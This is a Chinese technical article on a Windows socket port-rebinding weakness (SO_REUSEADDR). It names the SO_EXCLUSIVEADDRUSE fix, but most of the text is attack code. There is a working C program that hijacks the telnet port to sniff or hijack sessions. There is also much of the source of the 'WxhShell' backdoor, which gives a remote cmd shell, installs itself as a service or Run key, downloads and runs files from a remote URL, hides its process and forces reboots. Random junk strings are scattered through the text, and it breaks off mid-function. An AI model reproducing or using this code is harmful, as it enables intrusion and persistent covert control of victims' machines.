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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Yi7`iC s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d";+8S cFGP3Q4{ saddr.sin_family = AF_INET; !uO|1b Ywr^uy1V,/ saddr.sin_addr.s_addr = htonl(INADDR_ANY); +Y)rv6}m J24UUZ9&$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H&mw!=FV0 %pL
,A5M 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J^n(WnM*F J%j#gyTU 这意味着什么?意味着可以进行如下的攻击: ,_u8y&<|I ThJLaNS 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4xtbP\= OPwp(b 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z}8rD}BH
G!XizhE 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .Ks&r \w^U<_zq 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 qa`bR%eH bi#o1jR 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ln9MVF'!& ^Bm9yR 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yZmQBh$ {r[*}Bv
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 WZ6!VE{ g B+cU #include Z%(aBz7Et #include RUX!(Xw #include h!yF #include qO&:J\d DWORD WINAPI ClientThread(LPVOID lpParam); e3)rF5pp int main() C*kZ>mbc { ,dzbI{@6 WORD wVersionRequested; 78dmXOZ'_h DWORD ret; .Pxb9mW WSADATA wsaData; kRSu6r9 BOOL val; 'PV,c|f> SOCKADDR_IN saddr; JS({au SOCKADDR_IN scaddr; P0'
;65 int err; KkJcHU SOCKET s; p7zHP SOCKET sc; :Gy
.P int caddsize; ;Jv)J3y HANDLE mt; V)!Oss;i DWORD tid; =!{}:An1$ wVersionRequested = MAKEWORD( 2, 2 ); DrHMlk5 err = WSAStartup( wVersionRequested, &wsaData ); LeQ2,/7l: if ( err != 0 ) { !*C^gIQGU printf("error!WSAStartup failed!\n"); Qi6vP& return -1; Zm&Zz^s } 8{%/!ylJz saddr.sin_family = AF_INET; L!mQP akJ{- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mQVduG 1m}'Y@I saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rZ: saddr.sin_port = htons(23); &rcr])jg[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W
86S)+h { 'qQDM_+ printf("error!socket failed!\n"); 9XobTi3+' return -1; ?D57HCd`n } \m5:~,p= val = TRUE; =*8"ci$ //SO_REUSEADDR选项就是可以实现端口重绑定的 !Q cgTW)T if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) lSXhHy { }! zjj\g^ printf("error!setsockopt failed!\n"); XRP/E_4 return -1; a^4(7 } d@,q6R}!MP //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JXUO?9 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hl6al:Y //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C:EF(/>+- I?bL4u$\ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %b@>riR(y { LO#{ ret=GetLastError(); rLh490@ printf("error!bind failed!\n"); ,_\h)R_ return -1; "pMXTRb } la|#SS95 listen(s,2); u+8_et5T while(1) 3,N7Nfe { >tib21* caddsize = sizeof(scaddr); !l.Rv_o<O //接受连接请求 sE>'~+1_O sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d@8_?G} if(sc!=INVALID_SOCKET) WYEvW<Hv { 3i35F.=X, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^]E| >~\ if(mt==NULL) cf0em! { FCqs' printf("Thread Creat Failed!\n"); Oo rH break; r8^1JJ~\ } 7@+0E2' } s_D7?o CloseHandle(mt); g6
7* Bs } 'Nfg%)-N closesocket(s); NmOQ7T WSACleanup(); I0Wn?Qq=@ return 0; Haq23K } zx=A3I%7 A DWORD WINAPI ClientThread(LPVOID lpParam) 1REq.%/= { Gp32\^H|< SOCKET ss = (SOCKET)lpParam; 2z )h,<D SOCKET sc; _@?]!J[ unsigned char buf[4096]; w:z_EV!& SOCKADDR_IN saddr; r'xa'6& long num; -J? df DWORD val; f4@Dn
>BJ DWORD ret; Jv7 @[<$ //如果是隐藏端口应用的话,可以在此处加一些判断 r~t&;yRv //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 tC|5;'m.2 saddr.sin_family = AF_INET; v oC<
/}E saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |mMW"(~ saddr.sin_port = htons(23); tkNuM0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ':.d,x) { LjxTRtB_ printf("error!socket failed!\n"); F\,3z7s return -1; Y`lC4*g } MzJ5_} val = 100; <;v{`@\j{ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x6:$lZ( { "* 'rzd ret = GetLastError(); #H7(d T return -1; l9P~,Ec4'' } ukG1<j7. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gK#aC[ { dQ;rO$co ret = GetLastError(); M}38uxP return -1; *dUnP{6 g } DrMcE31 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) QI`Z[caF { XUW~8P printf("error!socket connect failed!\n"); n6|}^O7 closesocket(sc); r}*2~;:pW closesocket(ss); $R7d*\(G return -1; Z)6bqU<LQE } $Fd9iJ!k while(1) HQf[T@ {
kQX,MP( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G=~T)e //如果是嗅探内容的话,可以再此处进行内容分析和记录 U%w-/!p //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 wond>m
3 num = recv(ss,buf,4096,0); ce+\D'q[ if(num>0) iW)FjDTP send(sc,buf,num,0); vcV=9q8P1 else if(num==0) Mc76) break; xwK<f6H!y num = recv(sc,buf,4096,0); Y*J`Wf(w if(num>0) d/R:-{J)c send(ss,buf,num,0); 9RR1$( f else if(num==0) ~^Vt)/}Q break; HnOp*FP } ''f closesocket(ss); ^f3F~XhY3 closesocket(sc); F Fg0} return 0 ; =(Gv_ } `$MO.K{ L$(W*
PG} mjy%xzVr6^ ========================================================== 3R4-MK n%"s_W'E 下边附上一个代码,,WXhSHELL ,`-6!|: z
KJ6j ]m ========================================================== &a48DCZ rBgLj,/`U/ #include "stdafx.h" o
@*3<_e /i^b;?/1 #include <stdio.h> )5yZSdA #include <string.h> tQ=U22&7 #include <windows.h> Gi;eDrgj~ #include <winsock2.h> }Qg9l| #include <winsvc.h> 4P2)fLmc #include <urlmon.h> #( X4M{I z,DEBRT+ #pragma comment (lib, "Ws2_32.lib") 0>E` 9| #pragma comment (lib, "urlmon.lib") _CI! 7% OBb #define MAX_USER 100 // 最大客户端连接数 ,h> 0k`J:a #define BUF_SOCK 200 // sock buffer Kr]F+erJe #define KEY_BUFF 255 // 输入 buffer LvW9kL+WiQ (Ptv#LSUX #define REBOOT 0 // 重启 ,gkxZ{Eh #define SHUTDOWN 1 // 关机 h-jea1m G4<'G c #define DEF_PORT 5000 // 监听端口 ;QgJw2G =b9?r #define REG_LEN 16 // 注册表键长度 npbNUKdz #define SVC_LEN 80 // NT服务名长度 na8A}\!< \>9%=32u. // 从dll定义API K*CO%:,- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jQsucs5$h typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4y)"IOd#| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oD!72W_: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N,Y<mX *K m%Vl // wxhshell配置信息 6 D~b9e struct WSCFG { 4[+n;OI int ws_port; // 监听端口 -?'u"*#1, char ws_passstr[REG_LEN]; // 口令 :ykQ[d`:| int ws_autoins; // 安装标记, 1=yes 0=no M@{GT/`Pf char ws_regname[REG_LEN]; // 注册表键名 C Q3;NY=o char ws_svcname[REG_LEN]; // 服务名 s*(Y<Ap7d char ws_svcdisp[SVC_LEN]; // 服务显示名 *qKwu?]?> char ws_svcdesc[SVC_LEN]; // 服务描述信息 SV8rZWJ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M}M. int ws_downexe; // 下载执行标记, 1=yes 0=no qw"`NubX char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" :5h&f char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D!)'c(b |!rD2T\Ef }; dos$d3B4 j:]/AReOL // default Wxhshell configuration yrkd#m struct WSCFG wscfg={DEF_PORT, +2C:] "xuhuanlingzhe", e2/&X;2 1, Isoqs(Oi "Wxhshell", <qHwY. "Wxhshell", s u![ST( "WxhShell Service", wIi(p5* "Wrsky Windows CmdShell Service", i"|'p/9@q "Please Input Your Password: ", )t@OHSl 1, k)y0V:ZY]O " http://www.wrsky.com/wxhshell.exe", ("H:T?4Qs "Wxhshell.exe" $K;4=zN>t: }; IVEvu3
`db++Z'C // 消息定义模块 oPre$YT}h char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $@Hw DRP char *msg_ws_prompt="\n\r? for help\n\r#>"; p?8>9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; :
<m0
GG char *msg_ws_ext="\n\rExit."; u5T\_0 char *msg_ws_end="\n\rQuit."; D~2,0K char *msg_ws_boot="\n\rReboot..."; ?]$.3azO char *msg_ws_poff="\n\rShutdown..."; jd(=? !_ char *msg_ws_down="\n\rSave to "; !BK^5,4?-- inR8m 4c]P char *msg_ws_err="\n\rErr!"; hQHV]xW char *msg_ws_ok="\n\rOK!"; zPhNV8k- zif()i
char ExeFile[MAX_PATH]; Wq"pKI#x int nUser = 0; zjVb+Z\n HANDLE handles[MAX_USER]; SznNvd < int OsIsNt; ^@L B;?a. 81~ SERVICE_STATUS serviceStatus; $,'r}
% SERVICE_STATUS_HANDLE hServiceStatusHandle; I#$u(2.H CIYD'zR[2 // 函数声明 =B;rj int Install(void); _0Wdm* int Uninstall(void); -,zNFC:6g int DownloadFile(char *sURL, SOCKET wsh); !~>u\h int Boot(int flag); :Wb+&|dU void HideProc(void); S}fIZ1 int GetOsVer(void); 6=|Q>[K int Wxhshell(SOCKET wsl); M{hA` void TalkWithClient(void *cs); '4N[bRCn int CmdShell(SOCKET sock); !cWKY\lpv int StartFromService(void); U/{cYX int StartWxhshell(LPSTR lpCmdLine); )RA7Y}e|m nFxogCn VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o.y4&bC14; VOID WINAPI NTServiceHandler( DWORD fdwControl ); B4U+q|OD# !aIIjWz] // 数据结构和表定义 2BRY2EF SERVICE_TABLE_ENTRY DispatchTable[] = ! =|{ { Udd|. J Rd {wscfg.ws_svcname, NTServiceMain}, X*d,z~k%*d {NULL, NULL} 6;5}%
B:#h }; xr.fZMOh4 }bjTb! // 自我安装 #l{qb]n] int Install(void) *-` /A { m#'u;GP]k char svExeFile[MAX_PATH]; %Ix^Xb0 HKEY key; 2/(gf[elX strcpy(svExeFile,ExeFile); tPFV6n
i ;QW)tv.y // 如果是win9x系统,修改注册表设为自启动 3%k@,Vvt if(!OsIsNt) { FnL~8otPF' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qRB&R$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wp T.25 RegCloseKey(key); syBYH5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oh,Nu_! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IsnC_"f RegCloseKey(key); se7_:0+w return 0; +gK7`:v4O* } d]w*fn } [.|tD } Rw Y)
O5 else { ]Alu~ Dw #Wh"_zpM+ // 如果是NT以上系统,安装为系统服务 gp(w6:w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }2JSa8 if (schSCManager!=0) *|hICTWL { \XmtSfFC SC_HANDLE schService = CreateService MqXA8D ( rd. "mG. schSCManager, Q:@Y/4= wscfg.ws_svcname, D|_}~T>;& wscfg.ws_svcdisp, DF9Br
D0{ SERVICE_ALL_ACCESS, p2w/jJMD SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #YhKAG@| SERVICE_AUTO_START, saYn\o"m SERVICE_ERROR_NORMAL, :t9(T?2 svExeFile, H6e^"E NULL, Q/0;r{@Tq} NULL, )3z.{.F NULL,
31J7# S2 NULL, IKAF%0[R|j NULL cUS2*7h ); 5.5dB2w if (schService!=0) ilpg() { N[zI@>x CloseServiceHandle(schService); 42Ql^ka CloseServiceHandle(schSCManager); qlDLZ. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sm\/wlbE strcat(svExeFile,wscfg.ws_svcname); */?L_\7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x{RTI#a. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $"x(: RegCloseKey(key); d p_J*8 return 0; oLB pG1Va } 5%,n[qj4IT } .DCp)&m
l; CloseServiceHandle(schSCManager); }RW4 } $F\&?B1. } %Sxy!gGz%% \h_hd%'G return 1; ${e(#bvGZ } $?I^Dk 9$S2:2(G // 自我卸载 I8`.eqV int Uninstall(void) Dt.OZ4w5 { 4Mg09 HKEY key; I>G)wRpfR' b\H(Lq17 if(!OsIsNt) { [NaU\;w\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bCA3w%,kM RegDeleteValue(key,wscfg.ws_regname); ]:]2f9y RegCloseKey(key); )mwY]
! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nef-xxXC^I RegDeleteValue(key,wscfg.ws_regname); uCmdNY RegCloseKey(key); 7|65;jm+ return 0; lm-ubzJN } O(WFjmHx } r|0C G^:C } Re,0RM\ else { ^!Bpev ,gD30Pylz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zCPjuS/~
Q if (schSCManager!=0) 1NJ*EzJ~? { Ya\G/R SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _%<7!|" if (schService!=0) KGK8;Q,O { _H:SoJ' if(DeleteService(schService)!=0) { Na3tK}x CloseServiceHandle(schService); ux{OgFfi CloseServiceHandle(schSCManager); XwlUkw"q return 0; }R}tIC-: } AGrGZ7p] CloseServiceHandle(schService); F fl`;M } =>-b?F0(c CloseServiceHandle(schSCManager); "fz-h } y~U+MtSf# } T|9Yo=UK% 5)&e2V',y return 1; vP&*(WfO) } ?86h:9 Bg7?1m // 从指定url下载文件 <J`_Qc8C int DownloadFile(char *sURL, SOCKET wsh) {"4t`dM { gxt2Mq;q~} HRESULT hr; SHz& o[u char seps[]= "/"; eb.`Q+Gb char *token; :gQc@)jZ(* char *file; TpMfk7- char myURL[MAX_PATH]; P`U5kNN char myFILE[MAX_PATH]; [iL2c=_ Z AZQFr'* strcpy(myURL,sURL); 7W}~c/ % token=strtok(myURL,seps); i?*&1i@ while(token!=NULL) h1)p{5}H { 1F[;
)@ file=token;
{n.g7S~ token=strtok(NULL,seps); HjnHl- } -pkeEuwv{ azOp53zR GetCurrentDirectory(MAX_PATH,myFILE); Q5 ohaxjF strcat(myFILE, "\\"); S5bk<8aPP strcat(myFILE, file); KHF5Nt send(wsh,myFILE,strlen(myFILE),0); <<n8 P5pXt send(wsh,"...",3,0); F!a YK2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~{+J~5!;<H if(hr==S_OK) t7)Y@gRy return 0; S :(1=@ else qJISB7F[%O return 1; |k?,4
Pk [C7:Yg7 } .fQDj{ TzX>d<x // 系统电源模块 Vvv
-f int Boot(int flag) }8x[ { A$1pMG~as HANDLE hToken; Y]P
$|JW): TOKEN_PRIVILEGES tkp; y>wr $ D8Ni=.ALL if(OsIsNt) { +{Q\B}3cj1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i<%(Z[9Lk LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /a9+R)Al tkp.PrivilegeCount = 1; \a|gzC1G tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YK"({Z>U AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .l#Pmd! if(flag==REBOOT) { r2U2pAy# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ijoR(R^r return 0; +86\&y) } .:<c[EJ
b else { $,6= .YuY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U/jJ@8 return 0; +cjNA2@ } u&pLF%'EQ } >@ EQarD else { _Zb_9& if(flag==REBOOT) { '| Ag,x[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sy>P n return 0; q$EVd9aN } q8[Nr3. else { xES+m/?KlZ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6EPC$*Xp! return 0; drb_GT } #uey1I@"9 } &,KxtlR![ ;39{iU.m return 1; h ]MSjC.X } 9)f1CC] xFyMg& // win9x进程隐藏模块 !q7M+j4 void HideProc(void) #2cH.`ty { ;>Z#1~8 >n` OLHg; HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [a+?z6qI\} if ( hKernel != NULL ) j-A
S {w { b*p,s9k7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Qt@~y'O ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tgrQ$Yjk FreeLibrary(hKernel); 4tq>Lx^5U } $xloB <`MHra8 return; >6<g5ps.n } J^t=.-a| U*6-Y%7 // 获取操作系统版本 e=2;z int GetOsVer(void) Ulktd^A\ { Dq-h`lh!D# OSVERSIONINFO winfo; =Oo*7|Z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
KJ(zLwQ: GetVersionEx(&winfo); 6^ /C+zuX if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }n:-nB4 return 1; tQwbIX-7/ else ngdVRJL return 0; ?V7[,I1? } yn%w' c6?5?_ne // 客户端句柄模块 '{7A1yJnY% int Wxhshell(SOCKET wsl) kg
!@i 7 { +<3tv&" SOCKET wsh; y()#FRp7 struct sockaddr_in client; @aj"12 DWORD myID; 5_`.9@eh. /&kTVuN"( while(nUser<MAX_USER) ,'ndQ{\9 { FPcgQ
v;p int nSize=sizeof(client); PE4{;|a } wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [{Y$]3?} if(wsh==INVALID_SOCKET) return 1; KNK0w 5 ("{AY?{{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1TbKnmTx if(handles[nUser]==0) Xf#;GYO|2 closesocket(wsh); LW2Sko?Yo else ,xR^8G8 nUser++; $*2uI?87}: } x#ouR+< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ebq5P$ ]-ZD;kOr return 0; .Qi`5C:U } g`1*p| `NGCUGQ_7 // 关闭 socket 4!monaB"e void CloseIt(SOCKET wsh) .#+rH}=Z { ?=PQQx2_*u closesocket(wsh);
YemOP9 nUser--; {8UBxFIM( ExitThread(0); rj:$'m7 } z:fd'NC <:%Iq13D // 客户端请求句柄 YJ:CqTy void TalkWithClient(void *cs) Duz}e80 { >iG` xy|;WB SOCKET wsh=(SOCKET)cs; 63k8j[$ char pwd[SVC_LEN]; F<^,j7@ char cmd[KEY_BUFF]; Y RA[qc char chr[1]; dXdU4YJX int i,j; sN;U,{ yJKezIL\z while (nUser < MAX_USER) {
w[VWk KIuYWr7& if(wscfg.ws_passstr) { rW1>t+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \!631FcQ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :jUd?( //ZeroMemory(pwd,KEY_BUFF); {yfG_J i=0; kvo741RO6 while(i<SVC_LEN) { kmP0gT{Sj 0TVO'$Gvi // 设置超时 H9 't;Do fd_set FdRead; l+T\DZ struct timeval TimeOut; qA03EU FD_ZERO(&FdRead); &[kwM395 FD_SET(wsh,&FdRead); qkR.{?x TimeOut.tv_sec=8; +\}]`uS: TimeOut.tv_usec=0; fEgZ/p!g int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .j;My%)?p if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0"<gg5 n#x{~oQc if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3[8'pQ!& pwd =chr[0]; <xc"y|7X if(chr[0]==0xd || chr[0]==0xa) { 38 B\ \ pwd=0; F1/f:<} break; Oz n7C?\* } #xts*{u-# i++; lffw7T~ }
Pp26UWW Omh(UHZBB // 如果是非法用户,关闭 socket mX "z$ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7dW9i7Aj } ) d\Se9! dnN" send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JQ.ZAhv send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nYE_WXY3V qk:F6kL\` while(1) { N;ssO, X|8Yz3:o ZeroMemory(cmd,KEY_BUFF); w0Us8JNGz Gb8LW,$IT- // 自动支持客户端 telnet标准 e[{LNM{/# j=0; ~_h4|vG while(j<KEY_BUFF) { u/k#b2BqL if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3xj<ATSe cmd[j]=chr[0]; Q&n|tQ*4 if(chr[0]==0xa || chr[0]==0xd) {
W_kJb cmd[j]=0; YDDwvk
H break; ;rk}\M$+ } /'ybl^Km j++; (*hA0&n
} Jk(b=j ImvkB~8N // 下载文件 6,oi(RAf if(strstr(cmd,"http://")) { ;ATk?O4T send(wsh,msg_ws_down,strlen(msg_ws_down),0); i?mDR$X: if(DownloadFile(cmd,wsh)) 6 !+"7r6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZtB0:'o; else {;z3$/JB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )V9$ P) } 5*4P_q(AxD else { TmO\!` T0aK1Lh switch(cmd[0]) { 'kYV}rq;l *]F3pP[ // 帮助 3>?ip; case '?': { g#Yqw send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~1}NQa( break; vwP516EM } Zso.3FR, // 安装 EB>laZy> case 'i': { *Z{W,8h*s if(Install()) o F@{& send(wsh,msg_ws_err,strlen(msg_ws_err),0); yqCy`TK8 else y.mojx%?a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %f,
9 break; cZ o]*Gv. } a1om8! C // 卸载 R=8!]Oi6 case 'r': { YB)1dzU if(Uninstall()) %L~X\M:Qk send(wsh,msg_ws_err,strlen(msg_ws_err),0); m>UJ; F else "7gS*v,r send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;'cv?3Y break; Lu-owP7nB } @NX^__sa // 显示 wxhshell 所在路径 ]c$%;!ZE case 'p': { 6bfk4k char svExeFile[MAX_PATH]; 8/=[mYn`- strcpy(svExeFile,"\n\r"); \@I.K+hj$ strcat(svExeFile,ExeFile);
!y*V;J send(wsh,svExeFile,strlen(svExeFile),0); "hQV\|!\ break; v*#Z{)r } )vy<q/o+ // 重启 in B}ydk case 'b': { KF7f< send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QmgwIz_ if(Boot(REBOOT)) 2X6y^f';\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); yhUc]6`V.H else { IK}T.*[ closesocket(wsh); =m-_0xo ExitThread(0); Ya=QN< } )vPce break; .W?POJT } Zwq
uS9 // 关机 8l)l9;4 6 case 'd': { b8QW^Z send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E8IWHh_ if(Boot(SHUTDOWN)) +Cau/sPXL send(wsh,msg_ws_err,strlen(msg_ws_err),0); d(fgv else { TcRnjsY$ closesocket(wsh); L{(r@Vu ExitThread(0); 7N'F]x } b6]M}ixK break; ?k"KZxpT } Up/1c:<J // 获取shell uw]e$,x? case 's': { PQf FpmG CmdShell(wsh); `D#l(gZ closesocket(wsh); 6"%[s@C ExitThread(0); e {c.4'q break; #|$7. e } oNiS"\t // 退出 !3T x\a`?/ case 'x': { %/UQ0d~b send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KAUYE^ CloseIt(wsh); 9:BGA/? break; 7<N X;Fx } cYGZZC8 |K // 离开 +>I4@1qC-| case 'q': { rJNf&x%6 send(wsh,msg_ws_end,strlen(msg_ws_end),0); GWP"i77y0s closesocket(wsh); kZn!]TseN WSACleanup(); Vy(lyD<6 exit(1); ;1eu8N8 break; -"a]) -
j } e348^S&rG } ZJw92Sb } \,(t P:o E}a3. 6)p // 提示信息 `SIJszqc
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OU{PVF={
} 9jvg[H } /M'b137 m"v` E7G return; Ufo-AeQo } V=S`%1dLN eyo )Su // shell模块句柄 iPkG=*Ip(% int CmdShell(SOCKET sock) ] c'owj { PUlb(3p
` STARTUPINFO si; B,gQeW& ZeroMemory(&si,sizeof(si)); o}Xp-P si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2y<d@z:K si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =%RDT9T. PROCESS_INFORMATION ProcessInfo; Y ,}p char cmdline[]="cmd"; yp :yS CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "4r5 n8 return 0; 3a#!^G!~ } Rl S=^}> Q"Bgr&RJ // 自身启动模式 mCq*@1Lp9 int StartFromService(void) bH,Jddc { Je?V']lm typedef struct NgH% { ob*2V!" DWORD ExitStatus; ]=_BK!O DWORD PebBaseAddress; !C/`"JeYL DWORD AffinityMask; b<[eBXe DWORD BasePriority; fnXl60C% ULONG UniqueProcessId; uM4,_)L ULONG InheritedFromUniqueProcessId; ow`\7qr } PROCESS_BASIC_INFORMATION; _l/6Qpf a%-Yl%# PROCNTQSIP NtQueryInformationProcess; )}6:Ke) |kVxrq static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GZ4{<QG static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Riw>cVi~ 1hMk\ -3S HANDLE hProcess; I#A`fJ PROCESS_BASIC_INFORMATION pbi; j+Tk|GRab C8{CKrVE HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RF6|zCWuI if(NULL == hInst ) return 0; Dxu)by * }2o
